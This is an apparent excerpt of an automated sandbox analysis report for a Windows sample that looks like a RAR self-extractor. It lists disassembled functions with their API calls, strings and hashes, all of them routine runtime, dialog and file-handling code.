API String ID: 2407758923-2512411981
Opcode ID: 8b21302bb02159ccbd6612d4bd2af0c9393a97de68dbff7ece549c10171c793a
Instruction ID: 4721548384b083f58e088efcb7e420ab923a94d7c7a0a825584c6b57501b261a
Opcode Fuzzy Hash: 8b21302bb02159ccbd6612d4bd2af0c9393a97de68dbff7ece549c10171c793a
Instruction Fuzzy Hash: 9C819171608306AFD710DF68DD85F6BBBE9EB88704F09091DFA85D7250D670E909CB62

Function 00D8C233 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00D8C277

Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BE2F
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BE41
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BE53
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BE65
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BE77
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BE89
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BE9B
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BEAD
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BEBF
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BED1
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BEE3
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BEF5
Part of subcall function 00D8BE12: _free.LIBCMT ref: 00D8BF07

_free.LIBCMT ref: 00D8C26C

Part of subcall function 00D884DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00D8BFA7,?,00000000,?,00000000,?,00D8BFCE,?,00000007,?,?,00D8C3CB,?), ref: 00D884F4
Part of subcall function 00D884DE: GetLastError.KERNEL32(?,?,00D8BFA7,?,00000000,?,00000000,?,00D8BFCE,?,00000007,?,?,00D8C3CB,?,?), ref: 00D88506

_free.LIBCMT ref: 00D8C28E
_free.LIBCMT ref: 00D8C2A3
_free.LIBCMT ref: 00D8C2AE
_free.LIBCMT ref: 00D8C2D0
_free.LIBCMT ref: 00D8C2E3
_free.LIBCMT ref: 00D8C2F1
_free.LIBCMT ref: 00D8C2FC
_free.LIBCMT ref: 00D8C334
_free.LIBCMT ref: 00D8C33B
_free.LIBCMT ref: 00D8C358
_free.LIBCMT ref: 00D8C370

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: d7769372de81343d0aa6d0594aa901b1b8a197f5eca0ffbc385a8e915c8053f7
Instruction ID: 8a317ce0cc343ebf8d4d210481e155aa35474386f48f57fb16c1bf3e9d4bf8ce
Opcode Fuzzy Hash: d7769372de81343d0aa6d0594aa901b1b8a197f5eca0ffbc385a8e915c8053f7
Instruction Fuzzy Hash: FA315832600605DFEB21BB78D945B5A73EAFF00310F58942AF449D7691DF31AC81AB74

Function 00D7CD2E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00D7CD51
GetClassNameW.USER32(00000000,?,00000800), ref: 00D7CD7D

Part of subcall function 00D717AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00D6BB05,00000000,.exe,?,?,00000800,?,?,00D785DF,?), ref: 00D717C2

GetWindowLongW.USER32(00000000,000000F0), ref: 00D7CD99
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00D7CDB0
GetObjectW.GDI32(00000000,00000018,?), ref: 00D7CDC4
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00D7CDED
DeleteObject.GDI32(00000000), ref: 00D7CDF4
GetWindow.USER32(00000000,00000002), ref: 00D7CDFD

Strings

STATIC, xrefs: 00D7CD83

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: a38013cb2fee21c0e9bcb3944225ec091f54e87a0246c263211a8debb075d868
Instruction ID: d6edc0a78f94bc6264680fa63eeeecf9e42ba56e179b1774dc59632013e35e78
Opcode Fuzzy Hash: a38013cb2fee21c0e9bcb3944225ec091f54e87a0246c263211a8debb075d868
Instruction Fuzzy Hash: A6113633140712BFE3306B609C0AFAF765CFF44751F04D025FA4AE1192FA60890696B0

Function 00D88EB1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D88EC5

Part of subcall function 00D884DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00D8BFA7,?,00000000,?,00000000,?,00D8BFCE,?,00000007,?,?,00D8C3CB,?), ref: 00D884F4
Part of subcall function 00D884DE: GetLastError.KERNEL32(?,?,00D8BFA7,?,00000000,?,00000000,?,00D8BFCE,?,00000007,?,?,00D8C3CB,?,?), ref: 00D88506

_free.LIBCMT ref: 00D88ED1
_free.LIBCMT ref: 00D88EDC
_free.LIBCMT ref: 00D88EE7
_free.LIBCMT ref: 00D88EF2
_free.LIBCMT ref: 00D88EFD
_free.LIBCMT ref: 00D88F08
_free.LIBCMT ref: 00D88F13
_free.LIBCMT ref: 00D88F1E
_free.LIBCMT ref: 00D88F2C

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 621770fe92def757de736928e3ccf7dc3ff962ebf6ef0c952ccd80a903dfc15f
Instruction ID: 44000b89cc464163c70a96124b1fa69b8e113c87f7f6097de90fe9f35e21d619
Opcode Fuzzy Hash: 621770fe92def757de736928e3ccf7dc3ff962ebf6ef0c952ccd80a903dfc15f
Instruction Fuzzy Hash: 8811867651010DBFCB11FF58D942CDA3BA6FF04350B9141A5FA088F666DA32EE51EBA0

Function 00D62162 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

xc%u, xrefs: 00D626D7
x%u, xrefs: 00D6267A
;%u, xrefs: 00D62497

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: 9992cd8c686fb07358685a2b304910dac06918e1eb43cc5294da772fc3d5303d
Instruction ID: c13431a16a2f0fdef1ae0c21e5bc226a113a6a67995432dc6a42de18e928751b
Opcode Fuzzy Hash: 9992cd8c686fb07358685a2b304910dac06918e1eb43cc5294da772fc3d5303d
Instruction Fuzzy Hash: 02F125716087805BDB25EF78C895BFE7799AF94300F0C4469F886CB293DB249948C7B6

Function 00D7ACD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D6130B: GetDlgItem.USER32(00000000,00003021), ref: 00D6134F
Part of subcall function 00D6130B: SetWindowTextW.USER32(00000000,00D935B4), ref: 00D61365

EndDialog.USER32(?,00000001), ref: 00D7AD20
SendMessageW.USER32(?,00000080,00000001,?), ref: 00D7AD47
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00D7AD60
SetWindowTextW.USER32(?,?), ref: 00D7AD71
GetDlgItem.USER32(?,00000065), ref: 00D7AD7A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00D7AD8E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00D7ADA4

Strings

LICENSEDLG, xrefs: 00D7ACE4

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 2d4e35d637f849439215cbb3adc8abba8cb2f6c027477652a47dac3005a02dfa
Instruction ID: 12b61c3378df4f9961a679d4c158f9cb0c5c93a7478961a39c82a3bdc1bf2ac3
Opcode Fuzzy Hash: 2d4e35d637f849439215cbb3adc8abba8cb2f6c027477652a47dac3005a02dfa
Instruction Fuzzy Hash: 7921D632244306BBD2315F69EC49E7F3F6CFB8AB46F054015F609D26A0FB519901E632

Function 00D69443 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D69448
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00D6946B
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00D6948A

Part of subcall function 00D717AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00D6BB05,00000000,.exe,?,?,00000800,?,?,00D785DF,?), ref: 00D717C2

_swprintf.LIBCMT ref: 00D69526

Part of subcall function 00D6400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D6401D

MoveFileW.KERNEL32(?,?), ref: 00D69595
MoveFileW.KERNEL32(?,?), ref: 00D695D5

Strings

rtmp%d, xrefs: 00D6950F

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: f34aab2d915b1eabfe590eee463f085bb9a0e43db0955372fd835c388de8e0ba
Instruction ID: b95f8ef078a0d0eb75ac830d36de25307219049d4bc8303f19dc7405de3a5c3c
Opcode Fuzzy Hash: f34aab2d915b1eabfe590eee463f085bb9a0e43db0955372fd835c388de8e0ba
Instruction Fuzzy Hash: 23413A71900258A7CF20EBA4CD95AEEB77CEF15380F0444E6B549E3142EB749B89CA74

Function 00D70A8A Relevance: 12.1, APIs: 8, Instructions: 115timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00D70A9D

Part of subcall function 00D6ACF5: GetVersionExW.KERNEL32(?), ref: 00D6AD1A

FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00D70AC0
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00D70AD2
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00D70AE3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D70AF3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D70B03
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D70B3D
__aullrem.LIBCMT ref: 00D70BCB

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: e542c2159fb6719d17ba4cf4adf29d78fc1477b8305a64b12469db995ddd6e0b
Instruction ID: 808e661694c1ff96392cbce8496cd9c98403f782882dafc32671e27e3ae14dc8
Opcode Fuzzy Hash: e542c2159fb6719d17ba4cf4adf29d78fc1477b8305a64b12469db995ddd6e0b
Instruction Fuzzy Hash: 8B4119B5408306DFC710DF65C88496BFBF8FB88714F048A2EF59692650E735E649CB61

Function 00D8EE2D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00D8F5A2,?,00000000,?,00000000,00000000), ref: 00D8EE6F
__fassign.LIBCMT ref: 00D8EEEA
__fassign.LIBCMT ref: 00D8EF05
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00D8EF2B
WriteFile.KERNEL32(?,?,00000000,00D8F5A2,00000000,?,?,?,?,?,?,?,?,?,00D8F5A2,?), ref: 00D8EF4A
WriteFile.KERNEL32(?,?,00000001,00D8F5A2,00000000,?,?,?,?,?,?,?,?,?,00D8F5A2,?), ref: 00D8EF83

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 5f572e52770e7976444d9ca203d164716765fa16ded71458868ea9ce7a3a015a
Instruction ID: 532965abf55d4ccf61c6b592921fbc5b4a68323437825c77fa6ac3401b6e99e1
Opcode Fuzzy Hash: 5f572e52770e7976444d9ca203d164716765fa16ded71458868ea9ce7a3a015a
Instruction Fuzzy Hash: 0451B375A00209AFDB10DFA8D885AEEFBF9EF09310F18451AE555E7291E7309941CF70

Function 00D7C534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00D7C54A
_swprintf.LIBCMT ref: 00D7C57E

Part of subcall function 00D6400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D6401D

SetDlgItemTextW.USER32(?,00000066,00DA946A), ref: 00D7C59E
_wcschr.LIBVCRUNTIME ref: 00D7C5D1
EndDialog.USER32(?,00000001), ref: 00D7C6B2

Strings

%s%s%u, xrefs: 00D7C573

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: 65a6795e3ec7705d3aea1f37709e98ce772275fa0cd9bfff84f735f0b5858fff
Instruction ID: 2a9e2a8345c726b48062816c6f9c237d225f27a078b9f68fdae7d6d60a6ed344
Opcode Fuzzy Hash: 65a6795e3ec7705d3aea1f37709e98ce772275fa0cd9bfff84f735f0b5858fff
Instruction Fuzzy Hash: B941C271910618AEDB22DBA0DC85EEA77BCEB09701F0490A6E50DE6160F7719BC4CB70

Function 00D78E62 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 00D78F38
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00D78F59

Strings

<html>, xrefs: 00D78EA7, 00D78EE0
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00D78EB2
utf-8"></head>, xrefs: 00D78EBD
</html>, xrefs: 00D78F0A

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 3286310052-4209811716
Opcode ID: 3b31bcf6e14a3e0743c1dc341a5baf0030b253ecdb93e04c4a42167a34baea59
Instruction ID: 56ea898eb27f1b405496711ec7649006458937e3ca5d322ebae33b4be2c36a88
Opcode Fuzzy Hash: 3b31bcf6e14a3e0743c1dc341a5baf0030b253ecdb93e04c4a42167a34baea59
Instruction Fuzzy Hash: 3C312A315483117FDB24BB649C4AF6FB768EF41720F14811AF809A61D2FF649A0993B1

Function 00D79635 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00D7964E
GetWindowRect.USER32(?,00000000), ref: 00D79693
ShowWindow.USER32(?,00000005,00000000), ref: 00D7972A
SetWindowTextW.USER32(?,00000000), ref: 00D79732
ShowWindow.USER32(00000000,00000005), ref: 00D79748

Strings

RarHtmlClassName, xrefs: 00D796F4

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 45f31c91ce21e714a627fb1594b4737829f2916979b3c8280211bea22ee4c6f2
Instruction ID: a22c8c926259e01866697c93bd7260e6c0bbf12f88f2ea76c1df1de6e3cef535
Opcode Fuzzy Hash: 45f31c91ce21e714a627fb1594b4737829f2916979b3c8280211bea22ee4c6f2
Instruction Fuzzy Hash: EF31AD32004301AFCB25AF64DC49F6BBBA8EF48711F088559FA4D9A262EB34D905CB71

Function 00D8BFB5 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D8BF79: _free.LIBCMT ref: 00D8BFA2

_free.LIBCMT ref: 00D8C003

Part of subcall function 00D884DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00D8BFA7,?,00000000,?,00000000,?,00D8BFCE,?,00000007,?,?,00D8C3CB,?), ref: 00D884F4
Part of subcall function 00D884DE: GetLastError.KERNEL32(?,?,00D8BFA7,?,00000000,?,00000000,?,00D8BFCE,?,00000007,?,?,00D8C3CB,?,?), ref: 00D88506

_free.LIBCMT ref: 00D8C00E
_free.LIBCMT ref: 00D8C019
_free.LIBCMT ref: 00D8C06D
_free.LIBCMT ref: 00D8C078
_free.LIBCMT ref: 00D8C083
_free.LIBCMT ref: 00D8C08E

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction ID: 24080eac5913b0e24b21dc5bc522bfb7bd2588c7ee959b8a1b675921eaf11cb1
Opcode Fuzzy Hash: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction Fuzzy Hash: 741112B2540B44F6D620BBB0CC07FCBB79DEF04710F408856B39966452DB66F9049BB4

Function 00D820CA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D820C1,00D7FB12), ref: 00D820D8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D820E6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D820FF
SetLastError.KERNEL32(00000000,?,00D820C1,00D7FB12), ref: 00D82151

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 32a386eb40fea142044f769a27266429ddbe2741d6d16c9b5eb8dd0b7840dcd0
Instruction ID: be0a174f10fdc03735955a43db90d355221366936be38b2efe15accb6c6eb36e
Opcode Fuzzy Hash: 32a386eb40fea142044f769a27266429ddbe2741d6d16c9b5eb8dd0b7840dcd0
Instruction Fuzzy Hash: F001AC32109711AEF7543BB5BC8993B2B45EB21B747350A2BF218952E1EF614D019374

Function 00D7DC9A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

KERNEL32.DLL, xrefs: 00D7DCB4
AcquireSRWLockExclusive, xrefs: 00D7DCC9
ReleaseSRWLockExclusive, xrefs: 00D7DCD9

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

